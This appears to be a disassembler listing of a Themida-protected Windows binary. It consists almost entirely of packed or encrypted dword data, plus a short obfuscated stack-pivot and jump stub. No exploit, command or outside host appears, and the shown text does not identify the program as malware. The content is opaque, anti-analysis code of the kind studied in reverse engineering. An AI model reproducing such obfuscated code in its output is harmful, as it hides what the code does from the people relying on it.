dd 3219B1EDh, 0FBF385CEh, 5298FD8Ch, 7DBB918Bh, 0B185036Bh
dd 5B07E013h, 0C381D68Bh, 6244h, 10E9h, 66A88B00h, 23A428BBh
dd 0AEA0AE7Bh, 0D678F6BFh, 0A322BE40h, 0EE81375Ah, 375A8AC3h
dd 1C65B589h, 33FF07E0h, 0E95FE68Ah, 0Bh, 222E5AE9h, 6022CD03h
dd 81B578ABh, 50F4E5EFh, 958D8B3Dh, 8107E008h, 0AAA62C7h
dd 0DE86Fh, 65F0000h, 15D25C5Dh, 594C1094h, 663EEE98h
dd 8158D18Bh, 0D5F0EFF7h, 13E85Ah, 28670000h, 3B92E390h
dd 0D8B4C977h, 47475E9Bh, 634A77A6h, 6860F9Eh, 89000000h
dd 0E00445BDh, 3B895807h, 2F39BD89h, 0EB8307E0h, 0F2816604h
dd 0F4EB005h, 0FFFF8185h, 0E19501FFh, 0E807E023h, 8, 9A4050C7h
dd 3F7A9467h, 1A31958Bh, 565907E0h, 5A58F857h, 5CF5C181h
dd 0B8660000h, 15BFE0DFh, 66000017h, 8BF1E9BBh, 6E931h
dd 64040000h, 8C43ECF4h, 4BADEE81h, 81661D0Eh, 813C13F2h
dd 642A0AEEh, 7E90Ch, 27940000h, 0D1754A99h, 69EE8186h
dd 0B65D477Eh, 8D89562Ch, 7E022C9h, 0F380018Fh, 4E9838Fh
dd 81D1B70Fh, 1EFh, 1C850F00h, 89000000h, 0E00201BDh, 23E907h
dd 21360000h, 0BFE5AF44h, 18C70BA7h, 0D61F80EAh, 8BB24BADh
dd 0E017B59Dh, 0FF89E907h, 9780FFFFh, 1D55B2A8h, 83C08B70h
dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
dd 421B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h
dd 0BD83585Bh, 7E001C5h, 50177400h, 421B853h, 85890000h
dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0C08B585Bh, 4659D8Bh
dd 85C607E0h, 7E00759h, 0B8526856h, 0B5FF9CA8h, 7E0292Dh
dd 7FE8858Dh, 0D0FF07E3h, 68046Ah, 0FF000010h, 0E03355B5h
dd 0FF006A07h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 7E0748Dh
dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch
dd 0E001EDBDh, 840F0007h, 0Eh, 1ED9D8Bh, 858B07E0h, 7E01C61h
dd 52510389h, 4334858Dh, 0D0FF07E0h, 0F18BFA8Bh, 0C88BD18Bh
dd 85C6A4F3h, 7E00759h, 6D396856h, 0B5FFD41Fh, 7E0292Dh
dd 7FE8858Dh, 0D0FF07E3h, 800068h, 52006A00h, 0C08BD0FFh
dd 6B1BD83h, 750007E0h, 0C5BD8309h, 7E001h, 53501974h
dd 21B8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh
dd 83585BD3h, 0E001C5BDh, 17740007h, 21B85350h, 89000004h
dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 8B585BD3h, 0ED9D8DC0h
dd 8B07E001h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
dd 10E900h, 9C610000h, 3959h, 2 dup(0)
dd 0C7E90000h, 22000005h, 9466803Ah, 9DBF5ADh, 80526C24h
dd 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h, 9D55380Ah
dd 11CBB183h, 92C17F7h, 21D363A8h, 2BC25CCEh, 88868B45h
dd 0D2ECA6h, 6F49601Ah, 7CC9CF89h, 0F2D7987Eh, 0D5E5353Ah
dd 0C6F18D4Eh, 70CB762h, 49112209h, 3FC071ADh, 30A3A853h
dd 6E54A6FBh, 0E5C89AB4h, 5E41132Dh, 0BFA3A1A6h, 0DD0A0005h
dd 9B533680h, 8C9AF81h, 71686D25h, 347AC1C6h, 6729BA9Bh
dd 25DDC081h, 9577757Ah, 9B654C6Fh, 0BE1129BAh, 0A4BE0E13h
dd 661C8E98h, 0C51A637Fh, 0C320517Ah, 34E1316Dh, 8B5A54h
dd 2BA40000h, 35748B45h, 0BAA09F12h, 7E84D729h, 12F4CE31h
dd 0AA5C5358h, 0C3060CC6h, 29BAA0ECh, 80A3C9AFh, 29BAA131h
dd 4A4FFA4Dh, 0A6AB634Ch, 1F62BF74h, 0EDAFDBF6h, 0DFF95948h
dd 227FF4FAh, 34C99ECCh, 12B954h, 9AC60000h, 0F808B7D6h
dd 0F1C0E3FEh, 8D29BA1Dh, 67898F3Ah, 878C442Bh, 0E5EAA289h
dd 4146FEE7h, 0BD9F5E43h, 55535803h, 0BCB3B870h, 7C65260Ah
dd 1DC8BFC4h, 0D62BEC18h, 0D22F648Bh, 0CFE9A188h, 435D17FDh
dd 8F492B49h, 94A58C8Ah, 9D6E4450h, 9B01A7B5h, 31108286h
dd 8BF3F8A3h, 0B99BED42h, 2D13E5FFh, 0CBD08A6Ch, 179ABDD4h
dd 5F29BA62h, 5E5C610Ch, 0C4D5BA79h, 2198D9B6h, 0F8FDA863h
dd 3F5601h, 0B9E9D4DDh, 5157AA29h, 0EA47A804h, 345F4694h
dd 0AF9154h, 729E0000h, 1900D9CEh, 5679909Bh, 29BA8F5Bh
dd 0A8CAD023h, 0A588492Bh, 0A1535E81h, 0D82B29BAh, 7F7D822Dh
dd 0F1CBE29Ah, 554C510Bh, 708F024Fh, 0A0A30E31h, 88DB29BAh
dd 66B00D82h, 0DEB0CA84h, 0DA3D42FCh, 0A139789Bh, 0F24529BAh
dd 4A09F2ECh, 0FAFFAA64h, 5C6119FCh, 0BBC07A5Eh, 0A07C3558h
dd 0AF0229BAh, 0B3FE5388h, 36ED42A3h, 0AAABB30Ah, 0BA742A87h
dd 0FD015429h, 0D2E936A6h, 0BA1602AFh, 23297C29h, 3463F11Dh
dd 0D0133F54h, 0E996EE2Ah, 446FF3F9h, 7C000000h, 0AE359050h
dd 7D83B310h, 8F492B5Bh, 0F1A98C8Ah, 0A805BAECh, 0A8C27C5Eh
dd 8C442BAEh, 0A16E4087h, 4A2D29BAh, 0A68F8D92h, 4176E9EEh
dd 4778A1ECh, 7C613BEAh, 0C2C8BFC4h, 34EA8EBCh, 1A954h
dd 2BF30000h, 26898E46h, 0A7AC664Ch, 0CAB0AAB0h, 0FE150B10h
dd 84894124h, 5EDBE034h, 0AC57B854h, 0B03F7295h, 0E43729B9h
dd 5D1469DEh, 0AFB6FB1Eh, 6DC029B9h, 0D0886D67h, 4B537FB6h
dd 0F4BDE06Fh, 8A29B9DCh, 0C743337h, 57B90D13h, 0F1A9926Ch
dd 0B9D4BBF6h, 8469C329h, 5F7621CCh, 59D32E3Ch, 5055A82Eh
dd 98B26C52h, 2126E0C6h, 0D9D3D5DAh, 8CE19621h, 809A543Ah
dd 90EC8AEh, 666B250Bh, 0DF1CBFEh, 51574E53h, 4F3587DCh
dd 619D7B95h, 8A53D427h, 192h, 0DCBF6B97h, 0C790506Fh
dd 4FD19FC1h, 444903E9h, 8862A6F4h, 0F19CFF05h, 0B1F02F46h
dd 0BA22238Eh, 2085B29h, 5A0817BFh, 71E712Eh, 23492Dh
dd 21DA47B1h, 0C9CF7ACDh, 0DE987E7Ch, 93889BC7h, 6F51D5B6h
dd 0E734F67Ah, 0E0F7A2D1h, 0DA82F4BDh, 31378A21h, 5D17FDCFh
dd 61745A58h, 58D38EABh
dword_5C0900 dd 8F943FF3h, 92B5F427h, 21DA201Fh, 6D520457h, 0E53AAFB5h
; DATA XREF: Themida_:0054E730o
dd 0DCF3AD93h, 2ED462B0h, 948B904Ah, 35DAA290h, 0B3EFCD2Fh
dd 0DC53D4CDh, 6Bh, 712B0FE9h, 4D6F756Ch, 4D6487C6h, 2929BAA1h
dd 0DA69E07Dh, 2ED9B4EEh, 0E94DD428h, 8CA34E06h, 44B96869h
dd 767BCE56h, 0BB46822Fh, 0DD32F3A9h, 0AD654C26h, 71CC53A7h
dd 39A375Ah, 0D124D646h, 59587BBAh, 0F829B9FCh, 87B9148Fh
dd 0DF391027h, 453C41FBh, 3032949Ah, 0A6h, 64E95D89h, 4379F081h
dd 0F1F6AE91h, 0D1D2F4FAh, 261F974Fh, 64C1E327h, 1B7FA2B9h
dd 752E5A0Bh, 391F1D22h, 0A98E687Fh, 0EFF5ECF1h, 1BD5BB8Dh
dd 2FDCF16h, 0C56421DAh, 34E6386h, 0C5E821DAh, 21DA02ECh
dd 15683F92h, 8E459A0Fh, 1218D2B4h, 5E783218h, 3A51EE32h
dd 7CFDB817h, 0D4EB3E26h, 6F7441A8h, 3558FB53h, 29B35B7Ch
dd 4AF02h, 0C42E514h, 449197E7h, 0A1A66046h, 7D217EABh
dd 5A7D9493h, 2E561F75h, 819199C5h, 0BE2369B9h, 0DA91169Bh
dd 620D6021h, 0D3EA3D5Ch, 0C65288A7h, 6066B123h, 4FD104FEh
dd 19B6D9F0h, 0A12E5D9Ch, 7B5D374Eh, 13C5BCC1h, 206D732Dh
dd 6B823C22h, 63A8092Ch, 6B8E21D3h, 21D36446h, 0B306DD30h
dd 60661E01h, 8C462CFEh, 3C234087h, 0D60B0F1Dh, 8F492F79h
dd 0FCBDA375h, 0B1B66119h, 0D690744Eh, 35EDD6D0h, 0B00D3A30h
dd 0ACC68066h, 0FEB69B75h, 5E18FEF8h, 32B59h, 24C10000h
dd 89432B66h, 0E6A08684h, 4800E3E1h, 0A7614543h, 8C2A4A2h
dd 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h, 89506D7Eh
dd 0D5B951E0h, 815E5554h, 225AA6E1h, 0C1814139h, 0E7FFAF7Fh
dd 8359C801h, 48704E8h, 89515C24h, 4C181E1h, 81000000h
dd 4E9h, 240C8700h, 240C895Ch, 0D6768h, 243C8900h, 6A6D6857h
dd 525F2BD0h, 0AF1F54BAh, 5AD72130h, 37B3F781h, 0F9892767h
dd 0C63685Fh, 24890000h, 24048324h, 0BB535F04h, 8, 3D0CEB81h
dd 0FB016F2Eh, 3D0CC381h, 0B896F2Eh, 243C8B5Bh, 81E38953h
dd 4C3h, 4C38300h, 5C241C87h
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
dd 8E7D8456h, 12B8B166h, 307E743h, 44E0FFC5h, 0DD188732h
dd 53523158h, 312A16E3h, 56254F63h, 0C846D27Ah, 37792FB3h
dd 473AE9A6h, 567E8A39h, 1660D1F8h, 0A853616Dh, 0CB62EE13h
dd 0BC27FEFAh, 0FF2C0706h, 0EC1C2D12h, 9C11723Ah, 7A0BA8E1h
dd 7711B4F7h, 0EE5EBF10h, 0C34DF1D0h, 0C7584080h, 61FF65h
dd 0C375B12Eh, 311388FAh, 26403293h, 5B054E0Ah, 7753A9B0h
dd 0E90FBD1Dh, 0E83626D7h, 10h, 601D4FBh, 0AB46DC1Fh, 0D9A98E76h
dd 0A5F55F4Dh, 5ED0BF0Fh, 5DC681F9h, 0B70000DBh, 0BF84h
dd 7DB10000h, 0F3734FFh, 8158CABFh, 36600EE8h, 0CB8B660Ch
dd 993AC081h, 800F231Fh, 4, 1840BB66h, 1DBAF081h, 0F28172C4h
dd 6B54EA24h, 4850F50h, 66000000h, 8FF731BBh, 8B603E04h
dd 61CF8BCAh, 880Fh, 0EF830000h, 0FE802h, 6DA90000h, 0A6ECA9BBh
dd 0DB6A3ADEh, 64323F68h, 3FEE804Ah, 664F4F59h, 0B3C7D281h
dd 2564FF81h, 850FFFFFh, 17h, 0BDE1A1BAh, 23E93Ah, 0EB2D0000h
dd 0B3F12C3Ch, 0B21E254Eh, 0F814573Bh, 0FFFF6FE9h, 0B56CB8FFh
dd 17E7CC4Ch, 50B4C178h, 0C6CDDF37h, 0BE829h, 31A90000h
dd 97A9942Ch, 0BE4570Bh, 0E8F0F62h, 0E9000000h, 9, 0D03165C8h
dd 0F25D34FDh, 0C1815980h, 6A85h, 68h, 66605200h, 0B14622BFh
dd 5A5B615Eh, 0BC39CE81h, 34FF677Ch, 11E90Ah, 5AEE0000h
dd 47B9EE6Dh, 6914B638h, 7DE3717Eh, 58419603h, 0EE8h, 0A257200h
dd 8B4B2491h, 0C35B52C8h, 0BEA4BCE2h, 54EA72E3h, 57F0815Eh
dd 0E85B3B7Fh, 0Ah, 7E04E382h, 0EBE97E6h, 7E88F33h, 0E8000000h
dd 0C9F734DFh, 5E5E0934h, 0F02EC081h, 0F0817D18h, 6B671615h
dd 8F0F50F9h, 2, 48FFB8Bh, 0FE8B6611h, 6602EA83h, 63FEF681h
dd 8B664A4Ah, 78FA81D8h, 0FFFFF96h, 1E85h, 810F5000h, 6
dd 870Fh, 0E95F0000h, 27h, 0B2C86BF7h, 0BC446035h, 66C1B826h
dd 0E95206BBh, 0FFFFFF4Eh, 8EE952B6h, 167CBCDAh, 7E6E9606h
dd 61BA9128h, 0E9C83D49h, 4BA9h, 0E7913F68h, 3AC5E907h
dd 5941FFF9h, 0CCB3859Fh, 4328FA14h, 0B69F718Bh, 3012E4FEh
dd 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h, 1630EAD0h
dd 89284B36h, 0F521D35Ah, 0ACA3E983h, 2F34EED2h, 2B103238h
dd 0C6B48E46h, 63490AECh, 2ADA4A9h, 0B30006FDh, 892F2450h
dd 1318D0B3h, 0AE2C181Ch, 2B8BADB3h, 0DEB48E46h, 8B452BACh
dd 3BACDEB1h, 0A453B051h, 34261A78h, 1D23BA64h, 8E462BFBh
dd 6ECC6B4h, 0D0FE464Ch, 4F07ECC6h, 0B26A4F49h, 0E2B2D8D8h
dd 29BAA093h, 0C695F7F0h, 474D05ECh, 2B037DD2h, 0F2EE3546h
dd 60BC3AAh, 0BA330B0Fh, 0C30FE994h, 8D472BC9h, 0E2B2D8B3h
dd 0DE3AE643h, 0B0D6B440h, 462BE153h, 0B69D778Eh, 0D8D6F8FEh
dd 8E462BB2h, 0C6ACDEB4h, 464B03ECh, 6C4F494Fh, 0D8719DB4h
dd 2411E235h, 0DE7C9EA4h, 0CEF1306Fh, 29BAA0E3h, 644D489Bh
dd 1A29BAA1h, 0E39FC1C7h, 5ECC6A9h, 0F81536F4h, 44EFF2B8h
dd 0CD42483Fh, 5F82C170h, 29BA1652h, 11FC25FFh, 9E0DE67h
dd 2B8EB0B6h, 0DDB48E46h, 23474672h, 0D64A4D01h, 462BAED0h
dd 0ACDEB48Eh, 0B48E462Bh, 9AC6AFDDh, 0D86E9E5Ch, 0C503D260h
dd 0FE639296h, 11F6F0F6h, 0C9C37F59h, 0A587462Bh, 0C66640EBh
dd 9B3D79Ah, 7598E783h, 29BA433Ch, 3E44EF42h, 0E4CBA5DCh
dd 4729272Ch, 0BADCE28Dh, 7990482Bh, 0BF0CB74Dh, 9298E417h
dd 2BB2D870h, 0A16F3F49h, 0B60929BAh, 2B5339DCh, 0A16E4048h
dd 0B50829BAh, 2B5339DBh, 88868B45h, 0BBE7ECA6h, 505AA5FAh
dd 80381FF9h, 9AC6587Ah, 26B3B089h, 0E65B61A1h, 0ECC61789h
dd 15384F07h, 29BAA09Ch, 8F898FE2h, 0BC3D9BACh, 0E0DEE751h
dd 5E441E35h, 0BCA19FA4h, 5D08FF04h, 4E8E2346h, 95E829BAh
dd 0B2D86D8Fh, 0BA69B1E2h, 52FD8629h, 0D2D78F78h, 0B0B3D5DBh
dd 482BE153h, 0BD9F7990h, 107FE03h, 2BC9C3DFh, 3A799048h
dd 0BAA09A17h, 0A88AE429h, 47F2E9EEh, 0F4F9B395h, 39D5F7FDh
dd 8B452B53h, 2B5339B1h, 8D8B9048h, 0F5EBF0A8h, 2F286BC8h
dd 6ECC6F1h, 88E9A6F3h, 0BE698AD6h, 74EE43B8h, 0A589482Bh
dd 0C1B68F92h, 19C42BF3h, 6228946Eh, 4D05ECC6h, 514B5148h
dd 0D8DCB66Eh, 24482BB2h, 0BAA0B001h, 6F73C629h, 5DE3A2CBh
dd 0E5BF6A7Fh, 1C33B2D8h, 9CA15942h, 0C67D9FA5h, 494F07ECh
dd 2B057FD4h, 0C3B69048h, 8ECC6C9h, 6B4E484Eh, 0ECC6D9B3h
dd 544B500Ah, 89B5EC4Eh, 0F6805F6Eh, 113339E3h, 0B690482Bh
dd 0ECC6B2D8h, 52494E08h, 0B56D524Ch, 6F93729Eh, 483047ADh
dd 0F1F6B096h, 0D8D2F4FAh, 90482BB2h, 9A173A79h, 0E429BAA0h
dd 0DE698B91h, 0A09AC6ACh, 8860CAB6h, 7F635D63h, 306FAEC5h
dd 0BA3FA40Dh, 8C87DA29h, 29BA4025h, 0D6F8FE51h, 0AC956FDEh
dd 0CF1EFF4h, 0AD584F54h, 0C1A179A9h, 0FA007887h, 57311CD8h
dd 0BFB6BB75h, 9AC697B9h, 0D75FF14Dh, 5DD2D8B2h, 482B8E00h
dd 0B99F7990h, 0AE5911F8h, 72DD86A8h, 0FAC72346h, 0BA97DAD7h
dd 4D51A429h, 0EEA0123Fh, 564D520Ch, 482B2E50h, 0C9C3B690h
dd 4A24482Bh, 66A9AF67h, 29BAA148h, 3901DB2Eh, 9C563C16h
dd 0E7B37496h, 0B0A6E4EDh, 482BE153h, 0BAA16E40h, 0CAAE0829h
dd 224E6510h, 4E8C4C52h, 91B3B917h, 4D6487C6h, 2929BAA1h
dd 0DD3D0D6h, 2BC240D1h, 0D8B69048h, 0B89B75h, 0DCFE04FBh
dd 124482Bh, 29BAA0B0h, 395C73C6h, 29BAA078h, 0E900ABFEh
dd 6F742C0Fh, 0A0C8E90Ch, 5BAE29BAh, 0D888AAB0h, 0FBB59B75h
dd 3E7B70F7h, 7F857D32h, 8C442B5Dh, 0ECA48987h, 4903E9E7h
dd 0B2674D44h, 2C33B95Dh, 9949E1Bh, 350F425Eh, 9C939850h
dd 0ECC67496h, 0A75F4605h, 2C81F6FCh, 90482BB2h, 0B0C9C3B6h
dd 40D1E153h, 90482BC2h, 0FABB9F79h, 0ABB15C16h, 0C6B2D889h
dd 474B03ECh, 2267DDFFh, 5C9FA5E6h, 29B9E6D2h, 0EA173864h
dd 0E025A731h, 0D4B6B8DAh, 2BE153B0h, 0C6B69048h, 4D5109ECh
dd 25A28D88h, 389AA0A4h, 0E153B03Eh, 0B690482Bh, 0D2979AC6h
dd 0BBD1D8C9h, 0C65953B5h, 0A14D6487h, 0D62929BAh, 3AF4D6D0h
dd 0C6B2D860h, 0C027AE9Ah, 0DBE15BDEh, 6B45FFE1h, 16A89AC6h
dd 84E395D2h, 0BA085061h, 28D32629h, 0B3AFD522h, 3817DCF6h
dd 0B8BD755Eh, 0B099BBC1h, 492BE153h, 0C9C3B58Fh, 4D6487C6h
dd 2929BAA1h, 853D24D6h, 0E9A3857Fh, 0C6B2D80Fh, 0A14D6487h
dd 0D62929BAh, 0E6F0D6D0h, 29BAA0C8h, 39815BAEh, 9ECC653h
dd 3BD9F51h, 8F0107FEh, 7CD36D67h, 106C0A2h, 0B0E2040Ah
dd 0E5CAA453h, 0DA853D26h, 492BB2D4h, 0ECC6B58Fh, 0FC4C5109h
dd 660961D7h, 4046F18Ch, 0E6CDA7DEh, 0D106282Eh, 442BC240h
dd 0B2D8B28Ch, 0D2A748E2h, 0D6B43B12h, 337F9AC6h, 22B9191h
dd 0B82A87FCh, 2BE153B0h, 94253748h, 0D1D68E73h, 4995D6DAh
dd 0D8835D08h, 8F492BB2h, 2BACDEB5h, 0DEB28C44h, 0B07F0DACh
dd 492BE153h, 0AFDDB58Fh, 788F492Bh, 4DFFB79Eh, 0B5ACB16Bh
dd 0C9C38DAFh, 0B58F492Bh, 462BC9C3h, 0E1E69E87h, 0D8653FEAh
dd 8E462BB2h, 3675D8B4h, 0BAA09E13h, 6E85D829h, 0BAA1664Bh
dd 0B7BD1029h, 5E07E295h, 0B67CD645h, 0CE9AC6D4h, 7982E0C0h
dd 0E82B86A9h, 5329B9h, 85DA4F55h, 8E462B0Bh, 2BC9C3B4h
dd 0D8B48E46h
dd 8F492BB2h, 2BB2D8B5h, 89878C44h, 0F0E6EBA5h, 0FC236EC3h
dd 6487C61Ah, 29BAA14Dh, 5BD0D629h, 462B8C06h, 0C9C3B48Eh
dd 0B28C442Bh, 9BE2B2D8h, 98778440h, 53B0D6B4h, 8E462BE1h
dd 6487C6B4h, 29BAA14Dh, 2AB27D29h, 0A237FACh, 0E60C595Fh
dd 0B18B452Bh, 5933B2D8h, 4D6487C6h, 2929BAA1h, 65BD0D6h
dd 8E462B8Ch, 2BC9C3B4h, 0C3B48E46h, 90482BC9h, 2BB2D8B6h
dd 0D8B58F49h, 0B877E2B2h, 2BCCD87Fh, 88868B45h, 83E6EBA3h
dd 0BAA15160h, 30DA2D29h, 3A63AE03h, 8ECC65Ch, 7ED3484Eh
dd 89482B04h, 6842EDA7h, 482B5339h, 173A7990h, 29BAA09Ah
dd 698B91E4h, 0B1849AC6h, 0CC799B6h, 0FF341A06h, 0E153B08Dh
dd 0A389482Bh, 3F44FEE2h, 18F29D48h, 482B6228h, 0B2D8B690h
dd 4D6487C6h, 2929BAA1h, 0F1D6D0D6h, 0B2D85F39h, 78F01C33h
dd 0B100238Ch, 0CD29B9D3h, 11DA767Ah, 0B025474Dh, 482BE153h
dd 0E5EAA289h, 9F573CEEh, 1EF8A39Ah, 9A608CC3h, 662006AAh
dd 26666A61h, 91B3B903h, 0E006ECC6h, 0BAA0F4BDh, 8C378A29h
dd 908A9087h, 4F6285A9h, 2729BAA1h, 0C64F29D4h, 464C06ECh
dd 0ECC6D3F9h, 50474C06h, 0B169504Ah, 9B75D8D7h, 0D8FA00B8h
dd 0BA7C0EE2h, 59336929h, 2BE153B0h, 9B758C44h, 1F8FDB7h
dd 8CC3D9FBh, 0A0872A4Dh, 9CEF29BAh, 452B7496h, 0B2D8B18Bh
dd 0E14473E2h, 0D6B4D092h, 4FC39AC6h, 80AE1FEDh, 0F9A8057Ah
dd 6777DFCDh, 343AA6A5h, 40482B12h, 29BAA16Eh, 512F5C08h
dd 0B568E241h, 5339300Ah, 33869AC6h, 758412B8h, 4963FD6Fh
dd 878C442Bh, 0E7ECA489h, 60A300B5h, 87C6236Dh, 0BAA14D64h
dd 0D0D62929h, 2B8C065Bh, 644A2448h, 0FCAEA5AAh, 16595F17h
dd 29BAA098h, 0C6B18BDEh, 474D05ECh, 442B844Ah, 9AC6B28Ch
dd 6FE0CCCEh, 0D0886B11h, 2329D4CBh, 0C9B08AC1h, 666B230Ah
dd 0C8BFC46Fh, 0ECC6A0C2h, 4D474D05h, 6F9BB26Ah, 144EDF70h
dd 4F717783h, 4D6487C6h, 0E929BAA1h, 0BAA0EBC6h, 69409329h
dd 0A12A87AAh, 15429BAh, 0F4EE5056h, 768D472Bh, 0F8FEB89Ch
dd 2BB2D8D6h, 0A1713D47h, 9BC729BAh, 0D94E4F20h, 87A6AC26h
dd 53395A34h, 0B690482Bh, 0B9D35339h, 2BE153B0h, 0A1713D47h
dd 0B40729BAh, 6487C6DAh, 29BAA14Dh, 70D2D629h, 4B0F0A5Eh
dd 6588747Ah, 0EDAE0326h, 75C829B9h, 0AAB34D6Fh, 7650FF38h
dd 0DBD2D78Fh, 868B4529h, 0B067898Fh, 472BE153h, 0BAA1713Dh
dd 0DAB40729h, 4D05ECC6h, 1B474A47h, 5304EDDAh, 0BEE0E60Bh
dd 0FE21472Bh, 29BAA0B3h, 0D08871CBh, 7E29D4CBh, 0AC052867h
dd 0D229BAA0h, 6C45687Fh, 1229BAA1h, 0D897B9BFh, 0DBC9B3B2h
dd 0ECC67517h, 0AB634807h, 0FE04FB00h, 2BBA3489h, 37768D47h
dd 0B8BD775Dh, 0A0EBC6C1h, 409329BAh, 8CC3183Ah, 0A0872A4Dh
dd 9CEF29BAh, 10E27496h, 2629BA94h, 0A7AD654Ch, 8D472B85h
dd 0C6C9C3B3h, 4B5109ECh, 0D9B36D51h, 0CCB28CC3h, 0C37B6012h
dd 482B9BBDh, 0B2D8B690h, 0BA5E54E2h, 3318F229h, 0D1D69074h
dd 977D2FDAh, 0DBE1D8DDh, 90482BB9h, 2BC9C3B6h, 0D8B38D47h
dd 8D472BB2h, 2B5339B3h, 614A2448h, 0A7ADA4A9h, 0BAA14A64h
dd 0FFD92C29h, 482B6228h, 0BB9F7990h, 1CFEFC01h, 8FB1B762h
dd 4B03ECC6h, 2BE9E345h, 0C6B69048h, 9A4C06ECh, 2F9FEB8h
dd 2B83B5FCh, 0C6B28C44h, 0EFADDD9Ah, 886B6F53h, 2201B619h
dd 8CD3D984h, 9B5A431Dh, 3FAFFB9h, 0E3305258h, 0AECC6A9h
dd 4E544B50h, 2B0A84D9h, 0DDB69048h, 8D472BAFh, 2FEB4A76h
dd 424701E7h, 393A474Bh, 0C665878Dh, 33B5099Ah, 0C1C70AD0h
dd 482B487Ah, 173A7990h, 29BAA09Ah, 698B91E4h, 482BAFDDh
dd 0C9C3B690h, 0B28C442Bh, 4F07ECC6h, 0BF99FC49h, 0FA1C22DAh
dd 738A422Bh, 0A0A01134h, 44A929BAh, 9EA1F6FDh, 0B4BA0DE4h
dd 2BB2D892h, 0D8B38D47h, 0A19AC6B2h, 282DCB55h, 0B89A949Ah
dd 0B2D824FEh, 53B0D6B4h, 20442BE1h, 0BAA0B4FDh, 0CC77CA29h
dd 3BF5DBB5h, 0ACDE1335h, 4D05ECC6h, 514B5148h, 0EC6AF6Eh
dd 8D671209h, 9C99AC6h, 0AF7868F3h, 0A83C7598h, 0EF4229B9h
dd 5933A2E9h, 93B5BB75h, 53B0C1CBh, 8C442BE1h, 3372DDB2h
dd 0BAA0A110h, 848ADD29h, 86472B62h, 81C8C9Dh, 0EACF7F12h
dd 19EA3A3Fh, 6B8F2385h, 0E8C26D18h, 424975D8h, 742CECF7h
dd 0E233555Bh, 0A19FB781h, 0B0D6B4F6h, 422BE153h, 0C9C3B08Ah
dd 0B38D472Bh, 4D6487C6h, 2929BAA1h, 5D83D0D6h, 0B28C442Bh
dd 133675D8h, 29BAA09Eh, 5D7F85D8h, 4C06ECC6h, 0FFD5D446h
dd 53B07517h, 85442BE1h, 0EEE5EAA2h, 0F19C563Ch, 2BC9C317h
dd 0C6B28C44h, 0A14D6487h, 684E29BAh, 0DBB2A9AEh, 4838FE2Fh
dd 0CD780A31h, 22E65C7h, 3D1F4593h, 83877E83h, 9278B038h
dd 5272DD8h, 0A183422Bh, 0D8623CE7h, 6487C6B2h, 29BAA14Dh
dd 0D9B06A4Eh, 654C6F86h, 1129BAA1h, 0D8BEB8BEh, 0A5C8071Eh
dd 29BAA10Ch, 0F4F9B397h, 0E6CC26FDh, 347D812Ch, 0A3291EBDh
dd 0D874969Ch, 0A6B99B75h, 0B2070DDDh, 444AF51Ah, 0C6D6B422h
dd 0A14D6487h, 6C4E29BAh, 9C81DBB2h, 0FF2239E4h, 29BAA0B2h
dd 0FE7379CCh, 2F18F2A1h, 0C97B7277h, 2E252AE2h, 0BEE20628h
dd 0B929BA92h, 0B28C442Bh, 442BC9C3h, 0C9C3B28Ch, 0B28C442Bh
dd 5C3675D8h, 0ECC5C07Ah, 9229BAA0h, 0C617393Fh, 4B500AECh
dd 930B4E54h, 0E229BABFh, 0B28C442Bh, 442BC9C3h, 0B2D8B28Ch
dd 4506ECC6h, 0F6FCA761h, 0BA2E7EB3h, 1C33F529h, 0A0F7BADDh
dd 2C7F29BAh, 53B00426h, 3ECC6E1h, 494F464Bh, 2144684Fh
dd 29BAA090h, 0EE893E6h, 9AC6C9C3h, 5266C234h, 554F5572h
dd 0C6DCB66Eh, 494F07ECh, 452BD002h, 0A0B5FC1Fh, 6EC129BAh
dd 0ECD2ACC3h, 30362D32h, 436FDE0Eh, 16CA6364h, 597B819Bh
dd 53B0513Bh, 6F4265A4h, 729BAA1h, 2B8CAEB4h, 9B758C44h
dd 2F9FEB6h, 0AFDDDAFCh, 758C442Bh, 0A09E1336h, 2CD829BAh
dd 97F10D3Fh, 3F45F028h, 9B75D81Dh, 466B8EB2h, 3029BAA1h
dd 0F81B32DDh, 29BAA0B9h, 4A6C72C5h, 4D6487C6h, 4E29BAA1h
dd 89DCB36Bh, 7EA28983h, 0BAA1565Bh, 22CD2029h, 956FDE48h
dd 4E06EDACh, 0A1A79EA3h, 84452B7Fh, 0E7DEE39Bh, 0ACDE623Ch
dd 53B0513Bh, 33442BE1h, 0AD6FFEDFh, 6D47F27Dh, 0B49872DDh
dd 0F8FEF5FAh, 8C442BD6h, 2BC9C3B2h, 0C3B28C44h, 8E462BC9h
dd 2BB2D8B4h, 4B778E46h, 0F92D5001h, 0DF868A7Bh, 4EF20927h
dd 0C62D4F55h, 4A500AECh, 452BD103h, 0C29A7832h, 0B9DCB17Dh
dd 29B9E1F8h, 0D5802B7Eh, 0CBACDEFBh, 0E153B0C1h, 0B48E462Bh
dd 462BAFDDh, 1538778Eh, 29BAA09Ch, 0F7DD8FE2h, 0C615373Dh
dd 0A14D6487h, 0CF2929BAh, 7E842FE9h, 0C9B30B31h, 0B07517DBh
dd 9AC6E153h, 0E19F348Dh, 0CF896F0Ch, 3F241E24h, 0B0967087h
dd 0F4FAF1F6h, 2BC9C3D2h, 9E788F49h, 5A14FAB9h, 0ADB35E55h
dd 2BB2D88Bh, 0C6B38D47h, 0C2E509ECh, 29BAA0EFh, 83893487h
dd 99B41036h, 1D23DDBFh, 0E153B0FBh, 0B48E462Bh, 0C8B3B2D8h
dd 0C6D5B7DAh, 4C5109ECh, 85DA4F55h, 8E462B0Bh, 2BC9C3B4h
dd 0C6B48E46h, 4C5109ECh, 0F3ED4F55h, 758C442Bh, 0FB00B89Bh
